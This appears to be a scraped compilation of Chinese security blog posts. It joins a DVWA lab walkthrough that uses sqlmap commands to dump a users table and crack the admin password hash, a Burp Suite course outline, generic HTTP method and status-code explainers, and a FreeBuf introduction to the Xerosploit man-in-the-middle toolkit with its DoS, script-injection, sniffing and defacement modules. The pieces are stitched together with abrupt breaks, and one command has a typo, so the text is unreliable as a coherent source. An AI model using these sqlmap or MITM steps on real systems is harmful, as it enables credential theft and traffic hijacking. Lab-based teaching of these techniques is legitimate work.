前面的幾篇文章,我們已經(jīng)簡單介紹了SQL注入攻擊和DVWA實驗環(huán)境的搭建,詳見初識滲透測試—最常見黑客攻擊方式SQL注入簡介,黑客常利用的漏洞?Windows下安裝DVWA漏洞測試環(huán)境。今天我們就開始第一個攻擊實驗DVWA下的SQL注入!
1、實驗環(huán)境介紹
攻擊機 Kali Linux IP192.168.11.1
靶機 Win7 IP192.168.11.128
所使用的工具:SQLmap,火狐瀏覽器下的Tamper Data,DVWA漏洞環(huán)境
2、首先我們使用攻擊機訪問靶機下搭建的DVWA頁面。(地址為http://192.168.11.128/dvwa/)
3、使用火狐瀏覽器自帶的插件Tamper Data(沒有安裝的小伙伴可以去菜單-附加組件-搜索安裝,并在工具下打開使用),查看Web應(yīng)用后臺提交給目標(biāo)服務(wù)器的POST參數(shù),Cookie值等數(shù)據(jù)。訪問SQL注入頁面,使用Tamper Data查看提交的數(shù)據(jù)。
訪問SQL注入頁面
Tamper Data獲取到的訪問請求數(shù)據(jù)
獲取目標(biāo)URL和Cookie值
3、下面使用SQLmap 掃描,參數(shù)如下
root@kali:~# sqlmap -u 'http://192.168.11.128/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit' --cookie='security=low; PHPSESSID=9d83ls1op19rjq1c2j0tih9smk'
這句指令 -u 就是剛才Tamper Data獲取的目標(biāo)URL,使用 --cookie參數(shù)就為了使用當(dāng)前會話Cookie,對漏洞頁面進行持續(xù)掃描。
通過掃描這個頁面,我們的掃描結(jié)果已經(jīng)把這個站點的詳細信息列了出來,并且存在SQL注入點(如果不存在,我這個實驗環(huán)境不白搭了嗎。。。),該站點數(shù)據(jù)庫版本信息為MySQL 5.0,Web應(yīng)用版本為PHP 7.1.11, Apache 2.4.29。
4、下一步我們就來獲取這個MySQL數(shù)據(jù)庫名。參數(shù)如下
root@kali:~# sqlmap -u 'http://192.168.11.128/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit' --cookie='security=low; PHPSESSID=9d83ls1op19rjq1c2j0tih9smk' --dbs -v
使用 --dbs 參數(shù)就可以探測所包含的數(shù)據(jù)庫名稱,掃描結(jié)果顯示出了Web應(yīng)用的數(shù)據(jù)庫DVWA。
掃描過程
掃描結(jié)果
5、接下來,使用以下參數(shù)來查詢dvwa數(shù)據(jù)庫中的表名,參數(shù)如下
root@kali:~# sqlmap -u 'http://192.168.11.128/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit' --cookie='security=low; PHPSESSID=9d83ls1op19rjq1c2j0tih9smk' -D dvwa --tables
這個參數(shù)中 -D 就是指定數(shù)據(jù)庫 --table就是列出表名
6、發(fā)現(xiàn)一個敏感的的表 users ,下面就來列出 users 表中的字段列表。參數(shù)如下
root@kali:~# sqlmap -u 'http://192.168.11.128/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit' --cookie='security=low; PHPSESSID=9d83ls1op19rjq1c2j0tih9smk' -D dvwa --tables -T userd --columns
這個指令中 -T 參數(shù)是指定表名 ,--columns參數(shù)可以獲取該表中的字段。
7、可以看到有一個非常吸引人的字段 password,下面就把這個字段內(nèi)容下載出來。參數(shù)如下
root@kali:~# sqlmap -u 'http://192.168.11.128/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit' --cookie='security=low; PHPSESSID=9d83ls1op19rjq1c2j0tih9smk' -D dvwa --tables -T users --columns --dump
這個指令中的 --dump選項可以獲取到這個站點所有的用戶名和密碼的哈希值
字段內(nèi)容
8、這時候我們就已經(jīng)獲取了admin用戶的密碼哈希加密值,這條加密值我們可以通過網(wǎng)上破解MD5加密的站點進行解密。小編也隨便找了一個解密網(wǎng)站對admin用戶名的密碼哈希值進行了解密,其內(nèi)容為password。
解密MD5
這只是實驗環(huán)境,我們能輕易獲取到后臺管理員的用戶名和密碼。實際環(huán)境與此相比要困難的多,小伙伴們進行實驗時有什么問題可以評論在下方,小編會及時回答,指令的輸入要注意格式的規(guī)范。切記不要對站點進行惡意攻擊,做一個遵紀(jì)守法的好公民。
有很多小伙伴比較喜歡這方面的內(nèi)容,想要進行深入的學(xué)習(xí),小編以后會常更新一些關(guān)于信息安全、網(wǎng)絡(luò)技術(shù)、電腦知識、科技等方面的內(nèi)容,喜歡的小伙伴可以關(guān)注我,我也會持續(xù)不斷的為大家?guī)碛眯膭?chuàng)作的內(nèi)容以及分享一些資源、學(xué)習(xí)資料。最后
計更新
章節(jié)一:Burp Suite入門
1、Burp Suite簡介
2、安裝Burp Suite
3、配置Burp Suite代理
章節(jié)二:HTTP基礎(chǔ)知識
1、HTTP協(xié)議基礎(chǔ)
2、HTTP請求方法
3、HTTP響應(yīng)狀態(tài)碼
章節(jié)三:Burp Suite代理使用
1、攔截HTTP請求
2、修改HTTP請求
3、發(fā)送HTTP請求
章節(jié)四:Burp Suite目標(biāo)分析
1、目標(biāo)列表
2、目標(biāo)作用域
3、目標(biāo)掃描
章節(jié)五:Burp Suite漏洞掃描
1、漏洞掃描器簡介
2、漏洞掃描配置
3、漏洞掃描結(jié)果分析
章節(jié)六:Burp Suite拓展插件
1、插件簡介
2、插件安裝
3、插件開發(fā)
章節(jié)七:Burp Suite攻擊測試
1、SQL注入
2、跨站腳本攻擊
3、文件包含漏洞
章節(jié)八:Burp Suite高級使用
1、會話管理
2、自動化測試
3、數(shù)據(jù)包重放
章節(jié)九:Burp Suite與其他工具的結(jié)合使用
1、Metasploit結(jié)合使用
2、Nmap結(jié)合使用
3、Wireshark結(jié)合使用
章節(jié)十:Burp Suite安全與防御
1、Burp Suite安全配置
2、Burp Suite防御措施
3、Burp Suite安全最佳實踐
HTTP協(xié)議是現(xiàn)代網(wǎng)絡(luò)通信中最常用的協(xié)議之一,它是一種無狀態(tài)的協(xié)議,用于客戶端和服務(wù)器之間的通信。HTTP協(xié)議的基礎(chǔ)是請求-響應(yīng)模型,即客戶端向服務(wù)器發(fā)送請求,服務(wù)器返回相應(yīng)的響應(yīng)。在本文中,我們將深入探討HTTP協(xié)議的基礎(chǔ)知識,包括HTTP的工作流程、HTTP請求和響應(yīng)的結(jié)構(gòu)以及HTTP請求方法和響應(yīng)狀態(tài)碼等。
HTTP工作流程
HTTP協(xié)議的工作流程可以簡單地描述為客戶端向服務(wù)器發(fā)送請求,服務(wù)器接收請求并返回響應(yīng)。具體而言,客戶端通過向服務(wù)器發(fā)送HTTP請求來請求服務(wù)器上的資源,例如文檔、圖像或視頻等。服務(wù)器收到請求后,根據(jù)請求的內(nèi)容和其他相關(guān)信息,生成一個HTTP響應(yīng),并將其發(fā)送回客戶端。這個過程通常稱為“請求-響應(yīng)周期”。
HTTP請求和響應(yīng)結(jié)構(gòu)
HTTP請求由三個部分組成:請求行、消息頭和消息正文。請求行包含請求方法、請求URL和HTTP協(xié)議版本。消息頭包含一些與請求相關(guān)的元數(shù)據(jù),例如用戶代理、內(nèi)容類型和內(nèi)容長度等。消息正文包含請求的數(shù)據(jù),例如表單數(shù)據(jù)或上傳的文件。
HTTP響應(yīng)也由三個部分組成:狀態(tài)行、消息頭和消息正文。狀態(tài)行包含HTTP協(xié)議版本、狀態(tài)碼和狀態(tài)消息。狀態(tài)碼表示服務(wù)器對請求的響應(yīng)類型,例如200表示成功,404表示未找到,500表示服務(wù)器內(nèi)部錯誤等。消息頭包含與響應(yīng)相關(guān)的元數(shù)據(jù),例如服務(wù)器類型、內(nèi)容類型和內(nèi)容長度等。消息正文包含響應(yīng)的數(shù)據(jù),例如HTML文檔、圖像或視頻等。
HTTP請求方法
HTTP定義了多種請求方法,其中最常用的是GET和POST方法。GET方法用于從服務(wù)器獲取資源,通常用于獲取Web頁面、圖像和其他類型的文件。POST方法用于將數(shù)據(jù)發(fā)送到服務(wù)器,通常用于提交表單、上傳文件和執(zhí)行其他類型的操作。
HTTP響應(yīng)狀態(tài)碼
HTTP響應(yīng)狀態(tài)碼指示服務(wù)器對請求的響應(yīng)類型。以下是一些常見的HTTP響應(yīng)狀態(tài)碼:
200 OK:請求已成功處理,并返回所請求的數(shù)據(jù)。
301 Moved Permanently:所請求的資源已永久移動到新的URL。
404 Not Found:所請求的資源未找到。
500 Internal Server Error:服務(wù)器發(fā)生了內(nèi)部錯誤。
總結(jié)
HTTP協(xié)議是現(xiàn)代Web應(yīng)用程序中最常用的協(xié)議之一,它使用請求-響應(yīng)模型進行通信,并由請求行、消息頭和消息正文組成。HTTP定義了多種請求方法,其中最常用的是GET和POST方法,而HTTP響應(yīng)狀態(tài)碼指示服務(wù)器對請求的響應(yīng)類型。對于Web開發(fā)者來說,理解HTTP協(xié)議及其工作原理是至關(guān)重要的,因為它是Web應(yīng)用程序的基礎(chǔ)。
HTTP(HyperText Transfer Protocol,超文本傳輸協(xié)議)是一種用于客戶端和服務(wù)器之間通信的協(xié)議。HTTP請求方法是HTTP協(xié)議的重要組成部分,用于定義客戶端向服務(wù)器發(fā)送請求的方式和類型。在本文中,我們將深入探討HTTP請求方法的各個方面,包括常見的請求方法、請求頭和請求體等。
HTTP請求方法
HTTP定義了多種請求方法,其中最常用的是GET和POST方法。以下是一些常見的HTTP請求方法:
1. GET方法
GET方法用于從服務(wù)器獲取資源,通常用于獲取Web頁面、圖像和其他類型的文件等。GET請求是一種安全的請求方法,因為它只是從服務(wù)器獲取資源而不對服務(wù)器做出任何修改。GET請求通常在URL中包含查詢參數(shù),例如:
```
http://example.com/page?param1=value1¶m2=value2
```
在上面的URL中,`http://example.com/page`是服務(wù)器上的資源,`param1`和`param2`是查詢參數(shù),`value1`和`value2`是參數(shù)的值。
2. POST方法
POST方法用于將數(shù)據(jù)發(fā)送到服務(wù)器,通常用于提交表單、上傳文件和執(zhí)行其他類型的操作。POST請求可以包含請求體,請求體中包含要發(fā)送到服務(wù)器的數(shù)據(jù)。POST請求在URL中不包含查詢參數(shù),數(shù)據(jù)通常包含在請求體中。例如:
```
POST /submitform HTTP/1.1
Host: example.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 25
username=johndoe&password=password123
```
在上面的請求中,`POST`是請求方法,`/submitform`是服務(wù)器上的資源,`username`和`password`是表單字段,`johndoe`和`password123`是字段的值。
3. HEAD方法
HEAD方法與GET方法類似,但它只獲取資源的頭部信息而不返回資源的內(nèi)容。這個方法通常用于客戶端需要了解資源的元數(shù)據(jù),例如資源的類型、大小或最后修改時間等。
4. PUT方法
PUT方法用于向服務(wù)器上傳文件或其他數(shù)據(jù)。PUT請求通常包含請求體,請求體中包含要上傳的數(shù)據(jù)。PUT請求可以用于創(chuàng)建或更新服務(wù)器上的資源。例如:
```
PUT /file.txt HTTP/1.1
Host: example.com
Content-Type: text/plain
Content-Length: 10
Hello World
```
在上面的請求中,`PUT`是請求方法,`/file.txt`是服務(wù)器上的資源,`text/plain`是內(nèi)容類型,`Hello World`是要上傳的數(shù)據(jù)。
5. DELETE方法
DELETE方法用于從服務(wù)器刪除資源。DELETE請求通常不包含請求體,因為它只是從服務(wù)器刪除資源而不修改資源的內(nèi)容。例如:
```
DELETE /file.txt HTTP/1.1
Host: example.com
```
在上面的請求中,`DELETE`是請求方法,`/file.txt`是服務(wù)器上的資源。
HTTP請求頭
HTTP請求頭是HTTP請求中的一部分,用于包含與請求相關(guān)的元數(shù)據(jù)。以下是一些常見的HTTP請求頭:
1. User-Agent
User-Agent頭包含客戶端的信息,例如客戶端的名稱、版本和操作系統(tǒng)等。
2. Accept
Accept頭包含客戶端所能接受的響應(yīng)類型,例如HTML、XML或JSON等。
3. Content-Type
Content-Type頭包含請求體的內(nèi)容類型,例如text/plain、application/json或multipart/form-data等。
HTTP請求體
HTTP請求體是HTTP請求的一部分,用于包含要發(fā)送到服務(wù)器的數(shù)據(jù)。請求體通常出現(xiàn)在POST和PUT請求中。請求體的格式取決于Content-Type頭的值。以下是一些常見的請求體格式:
1. application/x-www-form-urlencoded
這是最常見的請求體格式,用于將表單數(shù)據(jù)編碼為鍵值對。例如:
```
username=johndoe&password=password123
```
2. application/json
這個格式通常用于將數(shù)據(jù)編碼為JSON格式。例如:
```
{
"username": "johndoe",
"password": "password123"
}
```
HTTP請求方法的總結(jié)
HTTP請求方法是HTTP協(xié)議的重要組成部分,用于定義客戶端向服務(wù)器發(fā)送請求的方式和類型。常見的HTTP請求方法包括GET、POST、HEAD、PUT和DELETE。HTTP請求頭和請求體也是HTTP請求的重要組成部分,用于包含與請求相關(guān)的元數(shù)據(jù)和要發(fā)送到服務(wù)器的數(shù)據(jù)。了解HTTP請求方法和相關(guān)的頭部和體,對于Web開發(fā)和網(wǎng)絡(luò)通信是非常重要的。
在HTTP協(xié)議中,響應(yīng)狀態(tài)碼是服務(wù)器用來向客戶端傳遞請求處理結(jié)果的一種方式。響應(yīng)狀態(tài)碼是由3個數(shù)字組成的代碼,每個數(shù)字代表不同的意義。在本文中,我們將介紹HTTP響應(yīng)狀態(tài)碼的各種類型、每個狀態(tài)碼的含義以及如何處理它們。
## HTTP響應(yīng)狀態(tài)碼類型
HTTP響應(yīng)狀態(tài)碼被分為5種類型,分別以不同的數(shù)字開頭。這些數(shù)字的含義如下:
- 1xx:信息性響應(yīng)。指示請求已接收,繼續(xù)處理。
- 2xx:成功響應(yīng)。指示請求已成功處理。
- 3xx:重定向響應(yīng)。指示客戶端必須采取進一步的操作才能完成請求。
- 4xx:客戶端錯誤響應(yīng)。指示客戶端發(fā)生錯誤,例如請求的URL不存在或請求的參數(shù)無效。
- 5xx:服務(wù)器錯誤響應(yīng)。指示服務(wù)器發(fā)生錯誤,例如服務(wù)器無法響應(yīng)或服務(wù)器內(nèi)部錯誤。
下面我們將詳細介紹每種類型的響應(yīng)狀態(tài)碼。
## 信息性響應(yīng)
1xx狀態(tài)碼用于向客戶端發(fā)送一些信息,以便客戶端知道服務(wù)器正在處理請求。這些狀態(tài)碼不代表請求的成功或失敗。
以下是一些常見的1xx狀態(tài)碼:
- 100 Continue:服務(wù)器已經(jīng)接收到請求頭,并且客戶端應(yīng)該繼續(xù)發(fā)送請求體。
- 101 Switching Protocols:客戶端請求切換協(xié)議,例如從HTTP到WebSocket。
## 成功響應(yīng)
2xx狀態(tài)碼用于向客戶端發(fā)送請求已成功處理的消息。常見的2xx狀態(tài)碼有:
- 200 OK:請求已成功處理。
- 201 Created:新資源已成功創(chuàng)建。
- 204 No Content:請求已成功處理,但沒有響應(yīng)體。
## 重定向響應(yīng)
3xx狀態(tài)碼用于重定向客戶端請求。這些狀態(tài)碼通常表示客戶端必須采取進一步的操作才能完成請求。
以下是一些常見的3xx狀態(tài)碼:
- 300 Multiple Choices:請求的資源有多個選擇。
- 301 Moved Permanently:請求的資源已永久移動到新位置。
- 302 Found:請求的資源已暫時移動到新位置。
- 303 See Other:請求的資源可在另一個URL下找到。
- 304 Not Modified:客戶端緩存的資源與服務(wù)器上的版本相同,無需重新傳輸。
- 307 Temporary Redirect:請求的資源已暫時移動到新位置。
## 客戶端錯誤響應(yīng)
4xx狀態(tài)碼用于指示客戶端發(fā)生錯誤。這些狀態(tài)碼通常表示請求無效或無法完成。
以下是一些常見的4xx狀態(tài)碼:
- 400 Bad Request:請求無效。
- 401 Unauthorized:請求需要身份驗證。
- 403 Forbidden:服務(wù)器拒絕請求。
- 404 Not Found:請求的資源不存在。
- 405 Method Not Allowed:請求方法不被允許。
- 409 Conflict:請求與當(dāng)前資源狀態(tài)沖突。
- 415 Unsupported Media Type:請求的媒體類型不受支持。
## 服務(wù)器錯誤響應(yīng)
5xx狀態(tài)碼用于指示服務(wù)器發(fā)生錯誤。這些狀態(tài)碼通常表示服務(wù)器無法響應(yīng)或服務(wù)器內(nèi)部錯誤。
以下是一些常見的5xx狀態(tài)碼:
- 500 Internal Server Error:服務(wù)器內(nèi)部錯誤。
- 501 Not Implemented:服務(wù)器不支持請求的功能。
- 502 Bad Gateway:服務(wù)器作為網(wǎng)關(guān)或代理,從上游服務(wù)器接收到無效的響應(yīng)。
- 503 Service Unavailable:服務(wù)器暫時無法處理請求。
- 504 Gateway Timeout:服務(wù)器作為網(wǎng)關(guān)或代理,等待上游服務(wù)器超時。
## 處理HTTP響應(yīng)狀態(tài)碼
在處理HTTP響應(yīng)狀態(tài)碼時,我們需要根據(jù)狀態(tài)碼采取不同的行動。以下是我們應(yīng)該采取的一些行動:
- 1xx狀態(tài)碼:通常無需額外處理,只需等待服務(wù)器處理請求即可。
- 2xx狀態(tài)碼:請求已成功處理,如果有響應(yīng)體,則將其解析并使用。
- 3xx狀態(tài)碼:根據(jù)狀態(tài)碼采取進一步行動,例如根據(jù)Location頭重定向到新的URL。
- 4xx狀態(tài)碼:檢查請求,例如檢查URL或請求參數(shù)是否正確。如果請求無效,則更正請求并重試。
- 5xx狀態(tài)碼:等待服務(wù)器恢復(fù),并在必要時重試請求。
## 總結(jié)
HTTP響應(yīng)狀態(tài)碼是服務(wù)器用來向客戶端傳遞請求處理結(jié)果的一種方式。狀態(tài)碼被分為5種類型,每個類型代表不同的含義。在處理HTTP響應(yīng)狀態(tài)碼時,我們需要根據(jù)狀態(tài)碼采取不同的行動。了解HTTP響應(yīng)狀態(tài)碼的含義和處理方法可以幫助我們更好地處理HTTP請求和響應(yīng)。
點擊以下鏈接,學(xué)習(xí)更多技術(shù)!
林瑞木的網(wǎng)絡(luò)課堂,林瑞木 網(wǎng)絡(luò)管理,Linux 大講堂 - 51CTO學(xué)堂高級講師
×00 前言
偶然間,在國外網(wǎng)站的一篇文章中發(fā)現(xiàn)有提到這款中間人框架,順藤摸瓜拿來實踐一番,發(fā)現(xiàn)確實很可以,確實很方便,不敢獨享,特來拋磚引玉,不足之處還望斧正~
0×01 工具介紹
Xerosploit是一款可以進行中間人攻擊的滲透測試工具包。它具有多種模塊,可以進行多重有效的攻擊,如拒絕服務(wù)和端口掃描、劫持等。由bettercap和nmap強力驅(qū)動。
0×02 工具安裝
git clone https://github.com/LionSec/xerosploit
cd xerosploit && sudo python install.py
sudo xerosploit
在kali中很順利的就安裝成功了。
默認(rèn)會自動列出本機的網(wǎng)卡信息,以備后續(xù)使用。
0×03 模塊介紹
輸入’help’來了解工具的使用。
輸入’scan’來掃描當(dāng)前所在局域網(wǎng)主機信息。
輸入’192.168.0.102′來選定攻擊目標(biāo)。
本地win10:192.168.0.102
虛擬機kali:192.168.0.111
輸入’help’來查看可對目標(biāo)進行攻擊的模塊。
pscan:端口掃描
dos:對目標(biāo)進行dos攻擊
ping:對目標(biāo)進行ping是否存活
injecthtml:將html注入到目標(biāo)訪問的網(wǎng)站中
injectjs:將javascript注入到目標(biāo)訪問的網(wǎng)站中
rdownload:替換目標(biāo)下載的文件
sniff:嗅探目標(biāo)的流量信息
dspoof:將所有http流量重定向到特定ip
yplay:在目標(biāo)的瀏覽器中后臺播放youtube視頻(還得fq)
replace:替換目標(biāo)訪問網(wǎng)站的所有圖片
driftnet:查看目標(biāo)訪問網(wǎng)站的所有圖片
move:讓目標(biāo)訪問網(wǎng)站變得抖動
deface:將目標(biāo)訪問網(wǎng)站的所有頁面替換成自己定義的html代碼
0×04 模塊使用
這里就介紹幾個好玩、方便展示的模塊利用,其他的大家就慢慢探索把玩好了~~
pscan模塊
端口默認(rèn)只掃描1000個端口,調(diào)用nmap接口。
injecthtml模塊
test.html
<h1 style="font-size:50px;">hack fun</h1>
sniff模塊
*由于本人所在網(wǎng)絡(luò)環(huán)境復(fù)雜,演示過程中出現(xiàn)win10機器無網(wǎng)絡(luò)現(xiàn)象,不知道是工具缺陷問題,還是本機網(wǎng)卡問題?
Xerosploit的作者在YouTube也有演示視頻。
0×05 總結(jié)
正如作者在github中介紹道:Xerosploit由bettercap和nmap提供驅(qū)動,個人覺得是神器結(jié)合體,讓中間人攻擊更加傻瓜化,更加方便快捷,一般用到的功能都有了,至于怎么玩,就看腦洞大不大了~
*本文原創(chuàng)作者:補丁君,轉(zhuǎn)載須注明來自FreeBuf.COM
如有侵權(quán)請聯(lián)系 watch.dog@qq.com.
*請認(rèn)真填寫需求信息,我們會在24小時內(nèi)與您取得聯(lián)系。